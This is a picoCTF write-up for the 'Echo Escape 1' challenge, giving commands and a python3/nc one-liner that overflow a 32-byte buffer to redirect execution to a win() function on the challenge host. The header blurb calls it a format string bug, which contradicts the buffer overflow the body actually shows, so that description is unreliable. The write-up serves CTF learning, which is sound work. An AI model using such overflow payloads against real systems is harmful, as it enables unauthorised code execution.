picoCTF - Binary Exploitation

Echo Escape 1 Writeup

picoCTF Echo Escape 1 writeup leveraging format string bugs in an echo service to read sensitive memory and extract the flag.

#picoctf#binary-exploitation#pwn
Contents

Echo Escape 1 Writeup

Here is the exact writeup of how I solved it, step by step, including the tools I used.

Files and tools used

  • Files: vuln (2), vuln (2).c
  • Tools:
  • file
  • checksec
  • objdump
  • python3
  • nc

1) Inspect binary

file "vuln (2)"
checksec --file="vuln (2)"

2) Find win() address

objdump -d "vuln (2)" | rg "<win>"

Used address:

  • 0x401256

3) Compute RIP offset

objdump -d "vuln (2)" | sed -n '/<main>:/,/^$/p'

Offset calculation:

  • buffer 32 bytes
  • saved RBP 8 bytes
  • saved RIP offset = 40

4) Build payload

"A" * 40 + p64(0x401256)

5) Exploit remote

python3 -c 'import sys,struct; sys.stdout.buffer.write(b"A"*40 + struct.pack("<Q",0x401256))' | nc mysterious-sea.picoctf.net 53046

Why it works

read(0, buf, 128) overflows buf[32] and overwrites return address with win().

Final flag

picoCTF{<redacted>}

Related research

picoCTF - Binary Exploitation

Echo Escape 2 Writeup

picoCTF Echo Escape 2 writeup using format string vulnerabilities to leak and overwrite memory for shell access.

Read →
picoCTF - Binary Exploitation

Heap Havoc Writeup

picoCTF Heap Havoc writeup exploiting heap memory management flaws including use-after-free or heap overflow to gain code execution.

Read →
picoCTF - Binary Exploitation

offset-cycle Writeup

picoCTF Offset Cycle writeup solving a binary exploitation challenge involving cyclic offset calculation and return address control.

Read →
picoCTF - Binary Exploitation

offset-cycleV2 Writeup

picoCTF Offset Cycle V2 writeup building on the first version with additional protections requiring more advanced exploitation techniques.

Read →